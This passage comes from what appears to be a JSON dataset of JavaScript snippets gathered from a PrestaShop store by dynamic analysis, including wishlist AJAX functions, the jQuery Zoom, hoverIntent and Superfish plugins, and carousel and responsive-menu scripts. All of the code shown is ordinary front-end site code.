    ');\t\t\t}\t\t}\t});}function WishlistDefault(id, id_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand:new Date().getTime(),\t\t\t'default': 1,\t\t\tid_wishlist:id_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'setdefault'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tvar old_default_id = $(\".is_wish_list_default\").parents(\"tr\").attr(\"id\");\t\t\tvar td_check = $(\".is_wish_list_default\").parent();\t\t\t$(\".is_wish_list_default\").remove();\t\t\ttd_check.append('');\t\t\tvar td_default = $(\"#\"+id+\" > .wishlist_default\");\t\t\t$(\"#\"+id+\" > .wishlist_default > a\").remove();\t\t\ttd_default.append('

    ');\t\t}\t});}/*** Hide/Show bought product** @return void*/function WishlistVisibility(bought_class, id_button){\tif ($('#hide' + id_button).is(':hidden'))\t{\t\t$('.' + bought_class).slideDown('fast');\t\t$('#show' + id_button).hide();\t\t$('#hide' + id_button).css('display', 'block');\t}\telse\t{\t\t$('.' + bought_class).slideUp('fast');\t\t$('#hide' + id_button).hide();\t\t$('#show' + id_button).css('display', 'block');\t}}/*** Send wishlist by email** @return void*/function WishlistSend(id, id_wishlist, id_email){\t$.post(\t\tbaseDir + 'modules/blockwishlist/sendwishlist.php',\t\t{\t\t\ttoken: static_token,\t\t\tid_wishlist: id_wishlist,\t\t\temail1: $('#' + id_email + '1').val(),\t\t\temail2: $('#' + id_email + '2').val(),\t\t\temail3: $('#' + id_email + '3').val(),\t\t\temail4: $('#' + id_email + '4').val(),\t\t\temail5: $('#' + id_email + '5').val(),\t\t\temail6: $('#' + id_email + '6').val(),\t\t\temail7: $('#' + id_email + '7').val(),\t\t\temail8: $('#' + id_email + '8').val(),\t\t\temail9: $('#' + id_email + '9').val(),\t\t\temail10: $('#' + id_email + '10').val()\t\t},\t\tfunction(data)\t\t{\t\t\tif (data)\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '

    ' + data + '

    '\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(data);\t\t\t}\t\t\telse\t\t\t\tWishlistVisibility(id, 'hideSendWishlist');\t\t}\t);}function wishlistProductsIdsAdd(id){\tif ($.inArray(parseInt(id),wishlistProductsIds) == -1)\t\twishlistProductsIds.push(parseInt(id))}function wishlistProductsIdsRemove(id){\twishlistProductsIds.splice($.inArray(parseInt(id),wishlistProductsIds), 1)}function wishlistRefreshStatus(){\t$('.addToWishlist').each(function(){\t\tif ($.inArray(parseInt($(this).prop('rel')),wishlistProductsIds)!= -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function wishlistProductChange(id_product, id_product_attribute, id_old_wishlist, id_new_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\tvar quantity = $('#quantity_' + id_product + '_' + id_product_attribute).val();\t$.ajax({\t\ttype: 'GET',\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdataType: \"json\",\t\tdata: {\t\t\tid_product:id_product,\t\t\tid_product_attribute:id_product_attribute,\t\t\tquantity: quantity,\t\t\tpriority: $('#priority_' + id_product + '_' + id_product_attribute).val(),\t\t\tid_old_wishlist:id_old_wishlist,\t\t\tid_new_wishlist:id_new_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'productchangewishlist'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tif (data.success == true) {\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('slow');\t\t\t\t$('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text($('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text() - quantity);\t\t\t\t$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text(+$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text() + +quantity);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '

    ' + data.error + '

    '\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t}\t\t}\t});}", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* \r* Zoom 1.3 - jQuery image zooming plugin\r* @author Jack Moore - jacklmoore.com\r* @copyright 2012 \r* @license www.opensource.org/licenses/mit-license.php\r*/\r\r(function($){var defaults={url:false,icon:true,grab:false,callback:false,duration:120};$.fn.zoom=function(options){return this.each(function(){var root=this,$root=$(root),img=new Image(),$img=$(img),$icon,position=$root.css(\"position\"),settings=$.extend({},defaults,options||{}),mousemove=\"mousemove\";$root.css({position:/(absolute|fixed)/.test(position)?position:\"relative\",overflow:\"hidden\"});if(!settings.url){settings.url=$root.find(\"img:first\")[0].src;if(!settings.url){return}}if(settings.icon){$icon=$('
    ').appendTo($root)}img.onload=function(){var outerWidth,outerHeight,xRatio,yRatio,left,top,offset=$root.offset();function ratio(){outerWidth=$root.outerWidth();outerHeight=$root.outerHeight();xRatio=(img.width-outerWidth)/outerWidth;yRatio=(img.height-outerHeight)/outerHeight}function move(e){left=(e.pageX-offset.left);top=(e.pageY-offset.top);if(left>outerWidth){left=outerWidth}else{if(left<0){left=0}}if(top>outerHeight){top=outerHeight}else{if(top<0){top=0}}img.style.left=(left*-xRatio)+\"px\";img.style.top=(top*-yRatio)+\"px\";e.preventDefault()}ratio();$img.addClass(\"zoomImg\").css({position:\"absolute\",top:0,left:0,opacity:0,width:img.width,height:img.height,border:\"none\",maxWidth:\"none\"}).appendTo($root);if(settings.grab){$img.mousedown(function(e){offset=$root.offset();$(document).one(\"mouseup\",function(){$img.stop().fadeTo(settings.duration,0);$(document).unbind(mousemove,move)});ratio();move(e);$img.stop().fadeTo($.support.opacity?settings.duration:0,1);$(document)[mousemove](move);e.preventDefault()})}else{$img.hover(function(){offset=$root.offset();ratio();$img.stop().fadeTo($.support.opacity?settings.duration:0,1)},function(){$img.stop().fadeTo(settings.duration,0)})[mousemove](function(e){img.style.left=(e.pageX-offset.left)*-xRatio+\"px\";img.style.top=(e.pageY-offset.top)*-yRatio+\"px\"})}if($.isFunction(settings.callback)){settings.callback.call(img)}};img.src=settings.url})};$.fn.zoom.defaults=defaults}(jQuery));", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r$(document).ready(function(){\r\rif ($('body').attr('id') === 'product' && $(\"#center_column #views_block #thumbs_list li a.shown img\").length ) { \r \r var wplink = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r \r \r // default\r $('#center_column #image-block img#bigpic')\r .wrap('')\r .css('display', 'block')\r .parent()\r .zoom({\r url: wplink, \r icon: true \r });\r \r // mouse over thumb image\r $('#center_column #thumbs_list ul li a img').mouseover(function() { \r var wpsrc = $(this).attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpsrc);\r }); \r \r // color picker\r if ($(\"#center_column ul#color_to_pick_list\").length > 0) { \r $('#center_column ul#color_to_pick_list li a').click(function() {\r setTimeout(function(){ \r var wplinkpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wplinkpick);\r }, 100);\r \r \r });\r }\r\r // on attribute selectbox change\r $('#attributes select').change(function() { \r setTimeout(function(){ \r var wpselectpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpselectpick); \r }, 100);\r });\r \r \r }; \r});", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel2').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel2-prev\",\r next : \".mycarousel2-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel2\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel2').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel2').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel3').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel3-prev\",\r next : \".mycarousel3-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel3\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel3').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel3').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * hoverIntent is similar to jQuery's built-in \"hover\" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+ * http://cherne.net/brian/resources/jquery.hoverIntent.html * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007, 2013 Brian Cherne * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne **/(function($) { $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // default configuration values var cfg = { interval: 100, sensitivity: 7, timeout: 0 }; if ( typeof handlerIn === \"object\" ) { cfg = $.extend(cfg, handlerIn ); } else if ($.isFunction(handlerOut)) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // instantiate variables // cX, cY = current X and Y position of mouse, updated by mousemove event // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval var cX, cY, pX, pY; // A private function for getting mouse position var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // A private function for comparing current and previous mouse position var compare = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); // compare mouse positions to see if they've crossed the threshold if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { $(ob).off(\"mousemove.hoverIntent\",track); // set hoverIntent state to true (so mouseOut can be called) ob.hoverIntent_s = 1; return cfg.over.apply(ob,[ev]); } else { // set previous coordinates for next time pX = cX; pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); } }; // A private function for delaying the mouseOut function var delay = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); ob.hoverIntent_s = 0; return cfg.out.apply(ob,[ev]); }; // A private function for handling mouse 'hovering' var handleHover = function(e) { // copy objects to be passed into t (required for event object to be passed in IE) var ev = jQuery.extend({},e); var ob = this; // cancel hoverIntent timer if it exists if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } // if e.type == \"mouseenter\" if (e.type == \"mouseenter\") { // set \"previous\" X and Y position based on initial entry point pX = ev.pageX; pY = ev.pageY; // update \"current\" X and Y position based on mousemove $(ob).on(\"mousemove.hoverIntent\",track); // start polling interval (self-calling timeout) to compare mouse coordinates over time if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} // else e.type == \"mouseleave\" } else { // unbind expensive mousemove event $(ob).off(\"mousemove.hoverIntent\",track); // if hoverIntent state is true, then call the mouseOut function after the specified delay if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); };})(jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * jQuery Superfish Menu Plugin - v1.7.4 * Copyright (c) 2013 Joel Birch * * Dual licensed under the MIT and GPL licenses: *\thttp://www.opensource.org/licenses/mit-license.php *\thttp://www.gnu.org/licenses/gpl.html */(function ($) {\t\"use strict\";\tvar methods = (function () {\t\t// private properties and methods go here\t\tvar c = {\t\t\t\tbcClass: 'sf-breadcrumb',\t\t\t\tmenuClass: 'sf-js-enabled',\t\t\t\tanchorClass: 'sf-with-ul',\t\t\t\tmenuArrowClass: 'sf-arrows'\t\t\t},\t\t\tios = (function () {\t\t\t\tvar ios = /iPhone|iPad|iPod/i.test(navigator.userAgent);\t\t\t\tif (ios) {\t\t\t\t\t// iOS clicks only bubble as far as body children\t\t\t\t\t$(window).load(function () {\t\t\t\t\t\t$('body').children().on('click', $.noop);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn ios;\t\t\t})(),\t\t\twp7 = (function () {\t\t\t\tvar style = document.documentElement.style;\t\t\t\treturn ('behavior' in style && 'fill' in style && /iemobile/i.test(navigator.userAgent));\t\t\t})(),\t\t\ttoggleMenuClasses = function ($menu, o) {\t\t\t\tvar classes = c.menuClass;\t\t\t\tif (o.cssArrows) {\t\t\t\t\tclasses += ' ' + c.menuArrowClass;\t\t\t\t}\t\t\t\t$menu.toggleClass(classes);\t\t\t},\t\t\tsetPathToCurrent = function ($menu, o) {\t\t\t\treturn $menu.find('li.' + o.pathClass).slice(0, o.pathLevels)\t\t\t\t\t.addClass(o.hoverClass + ' ' + c.bcClass)\t\t\t\t\t\t.filter(function () {\t\t\t\t\t\t\treturn ($(this).children(o.popUpSelector).hide().show().length);\t\t\t\t\t\t}).removeClass(o.pathClass);\t\t\t},\t\t\ttoggleAnchorClass = function ($li) {\t\t\t\t$li.children('a').toggleClass(c.anchorClass);\t\t\t},\t\t\ttoggleTouchAction = function ($menu) {\t\t\t\tvar touchAction = $menu.css('ms-touch-action');\t\t\t\ttouchAction = (touchAction === 'pan-y') ? 'auto' : 'pan-y';\t\t\t\t$menu.css('ms-touch-action', touchAction);\t\t\t},\t\t\tapplyHandlers = function ($menu, o) {\t\t\t\tvar targets = 'li:has(' + o.popUpSelector + ')';\t\t\t\tif ($.fn.hoverIntent && !o.disableHI) {\t\t\t\t\t$menu.hoverIntent(over, out, targets);\t\t\t\t}\t\t\t\telse {\t\t\t\t\t$menu\t\t\t\t\t\t.on('mouseenter.superfish', targets, over)\t\t\t\t\t\t.on('mouseleave.superfish', targets, out);\t\t\t\t}\t\t\t\tvar touchevent = 'MSPointerDown.superfish';\t\t\t\tif (!ios) {\t\t\t\t\ttouchevent += ' touchend.superfish';\t\t\t\t}\t\t\t\tif (wp7) {\t\t\t\t\ttouchevent += ' mousedown.superfish';\t\t\t\t}\t\t\t\t$menu\t\t\t\t\t.on('focusin.superfish', 'li', over)\t\t\t\t\t.on('focusout.superfish', 'li', out)\t\t\t\t\t.on(touchevent, 'a', o, touchHandler);\t\t\t},\t\t\ttouchHandler = function (e) {\t\t\t\tvar $this = $(this),\t\t\t\t\t$ul = $this.siblings(e.data.popUpSelector);\t\t\t\tif ($ul.length > 0 && $ul.is(':hidden')) {\t\t\t\t\t$this.one('click.superfish', false);\t\t\t\t\tif (e.type === 'MSPointerDown') {\t\t\t\t\t\t$this.trigger('focus');\t\t\t\t\t} else {\t\t\t\t\t\t$.proxy(over, $this.parent('li'))();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tover = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t$this.siblings().superfish('hide').end().superfish('show');\t\t\t},\t\t\tout = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tif (ios) {\t\t\t\t\t$.proxy(close, $this, o)();\t\t\t\t}\t\t\t\telse {\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\to.sfTimer = setTimeout($.proxy(close, $this, o), o.delay);\t\t\t\t}\t\t\t},\t\t\tclose = function (o) {\t\t\t\to.retainPath = ($.inArray(this[0], o.$path) > -1);\t\t\t\tthis.superfish('hide');\t\t\t\tif (!this.parents('.' + o.hoverClass).length) {\t\t\t\t\to.onIdle.call(getMenu(this));\t\t\t\t\tif (o.$path.length) {\t\t\t\t\t\t$.proxy(over, o.$path)();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tgetMenu = function ($el) {\t\t\t\treturn $el.closest('.' + c.menuClass);\t\t\t},\t\t\tgetOptions = function ($el) {\t\t\t\treturn getMenu($el).data('sf-options');\t\t\t};\t\treturn {\t\t\t// public methods\t\t\thide: function (instant) {\t\t\t\tif (this.length) {\t\t\t\t\tvar $this = this,\t\t\t\t\t\to = getOptions($this);\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn this;\t\t\t\t\t}\t\t\t\t\tvar not = (o.retainPath === true) ? o.$path : '',\t\t\t\t\t\t$ul = $this.find('li.' + o.hoverClass).add(this).not(not).removeClass(o.hoverClass).children(o.popUpSelector),\t\t\t\t\t\tspeed = o.speedOut;\t\t\t\t\tif (instant) {\t\t\t\t\t\t$ul.show();\t\t\t\t\t\tspeed = 0;\t\t\t\t\t}\t\t\t\t\to.retainPath = false;\t\t\t\t\to.onBeforeHide.call($ul);\t\t\t\t\t$ul.stop(true, true).animate(o.animationOut, speed, function () {\t\t\t\t\t\tvar $this = $(this);\t\t\t\t\t\to.onHide.call($this);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn this;\t\t\t},\t\t\tshow: function () {\t\t\t\tvar o = getOptions(this);\t\t\t\tif (!o) {\t\t\t\t\treturn this;\t\t\t\t}\t\t\t\tvar $this = this.addClass(o.hoverClass),\t\t\t\t\t$ul = $this.children(o.popUpSelector);\t\t\t\to.onBeforeShow.call($ul);\t\t\t\t$ul.stop(true, true).animate(o.animation, o.speed, function () {\t\t\t\t\to.onShow.call($ul);\t\t\t\t});\t\t\t\treturn this;\t\t\t},\t\t\tdestroy: function () {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this),\t\t\t\t\t\to = $this.data('sf-options'),\t\t\t\t\t\t$hasPopUp;\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\t// remove event handlers\t\t\t\t\t$this.off('.superfish').off('.hoverIntent');\t\t\t\t\t// clear animation's inline display style\t\t\t\t\t$hasPopUp.children(o.popUpSelector).attr('style', function (i, style) {\t\t\t\t\t\treturn style.replace(/display[^;]+;?/g, '');\t\t\t\t\t});\t\t\t\t\t// reset 'current' path classes\t\t\t\t\to.$path.removeClass(o.hoverClass + ' ' + c.bcClass).addClass(o.pathClass);\t\t\t\t\t$this.find('.' + o.hoverClass).removeClass(o.hoverClass);\t\t\t\t\to.onDestroy.call($this);\t\t\t\t\t$this.removeData('sf-options');\t\t\t\t});\t\t\t},\t\t\tinit: function (op) {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this);\t\t\t\t\tif ($this.data('sf-options')) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\tvar o = $.extend({}, $.fn.superfish.defaults, op),\t\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\to.$path = setPathToCurrent($this, o);\t\t\t\t\t$this.data('sf-options', o);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\tapplyHandlers($this, o);\t\t\t\t\t$hasPopUp.not('.' + c.bcClass).superfish('hide', true);\t\t\t\t\to.onInit.call(this);\t\t\t\t});\t\t\t}\t\t};\t})();\t$.fn.superfish = function (method, args) {\t\tif (methods[method]) {\t\t\treturn methods[method].apply(this, Array.prototype.slice.call(arguments, 1));\t\t}\t\telse if (typeof method === 'object' || ! method) {\t\t\treturn methods.init.apply(this, arguments);\t\t}\t\telse {\t\t\treturn $.error('Method ' + method + ' does not exist on jQuery.fn.superfish');\t\t}\t};\t$.fn.superfish.defaults = {\t\tpopUpSelector: 'ul,.sf-mega', // within menu context\t\thoverClass: 'sfHover',\t\tpathClass: 'overrideThisToUse',\t\tpathLevels: 1,\t\tdelay: 0,\t\tanimation: {opacity: 'show'},\t\tanimationOut: {opacity: 'hide'},\t\tspeed: 'normal',\t\tspeedOut: 'fast',\t\tcssArrows: true,\t\tdisableHI: true,\t\tonInit: $.noop,\t\tonBeforeShow: $.noop,\t\tonShow: $.noop,\t\tonBeforeHide: $.noop,\t\tonHide: $.noop,\t\tonIdle: $.noop,\t\tonDestroy: $.noop\t};\t// soon to be deprecated\t$.fn.extend({\t\thideSuperfishUl: methods.hide,\t\tshowSuperfishUl: methods.show\t});})(jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var responsiveflagMenu = false;var categoryMenu = $('ul.sf-menu');var mCategoryGrover = $('.sf-contener .cat-title');$(document).ready(function(){\tcategoryMenu = $('ul.sf-menu');\tmCategoryGrover = $('.sf-contener .cat-title');\tresponsiveMenu();\t$(window).resize(responsiveMenu);});// check resolutionfunction responsiveMenu(){ if ($(document).width() <= 767 && responsiveflagMenu == false)\t{\t\tmenuChange('enable');\t\tresponsiveflagMenu = true;\t}\telse if ($(document).width() >= 768)\t{\t\tmenuChange('disable');\t\tresponsiveflagMenu = false;\t}}// init Super Fish Menu for 767px+ resolutionfunction desktopInit(){\tmCategoryGrover.off();\tmCategoryGrover.removeClass('active');\t$('.sf-menu > li > ul').removeClass('menu-mobile').parent().find('.menu-mobile-grover').remove();\t$('.sf-menu').removeAttr('style');\tcategoryMenu.superfish('init');\t//add class for width define\t$('.sf-menu > li > ul').addClass('submenu-container clearfix');\t // loop through each sublist under each top list item $('.sf-menu > li > ul').each(function(){ i = 0; //add classes for clearing $(this).each(function(){ if ($(this).attr('class') != \"category-thumbnail\"){ i++; if(i % 2 == 1) $(this).addClass('first-in-line-xs'); else if (i % 5 == 1) $(this).addClass('first-in-line-lg'); } }); });}function mobileInit(){\tcategoryMenu.superfish('destroy');\t$('.sf-menu').removeAttr('style');\tmCategoryGrover.on('click', function(e){\t\t$(this).toggleClass('active').parent().find('ul.menu-content').stop().slideToggle('medium');\t\treturn false;\t});\t$('.sf-menu > li > ul').addClass('menu-mobile clearfix').parent().prepend('');\t$(\".sf-menu .menu-mobile-grover\").on('click', function(e){\t\tvar catSubUl = $(this).next().next('.menu-mobile');\t\tif (catSubUl.is(':hidden'))\t\t{\t\t\tcatSubUl.slideDown();\t\t\t$(this).addClass('active');\t\t}\t\telse\t\t{\t\t\tcatSubUl.slideUp();\t\t\t$(this).removeClass('active');\t\t}\t\treturn false;\t});\t$('#block_top_menu > ul:first > li > a').on('click', function(e){\t\tvar parentOffset = $(this).prev().offset();\t \tvar relX = parentOffset.left - e.pageX;\t\tif ($(this).parent('li').find('ul').length && relX >= 0 && relX <= 20)\t\t{\t\t\te.preventDefault();\t\t\tvar mobCatSubUl = $(this).next('.menu-mobile');\t\t\tvar mobMenuGrover = $(this).prev();\t\t\tif (mobCatSubUl.is(':hidden'))\t\t\t{\t\t\t\tmobCatSubUl.slideDown();\t\t\t\tmobMenuGrover.addClass('active');\t\t\t}\t\t\telse\t\t\t{\t\t\t\tmobCatSubUl.slideUp();\t\t\t\tmobMenuGrover.removeClass('active');\t\t\t}\t\t}\t});}// change the menu display at different resolutionsfunction menuChange(status){\tstatus == 'enable' ? mobileInit(): desktopInit();}", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * 2007-2016 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * 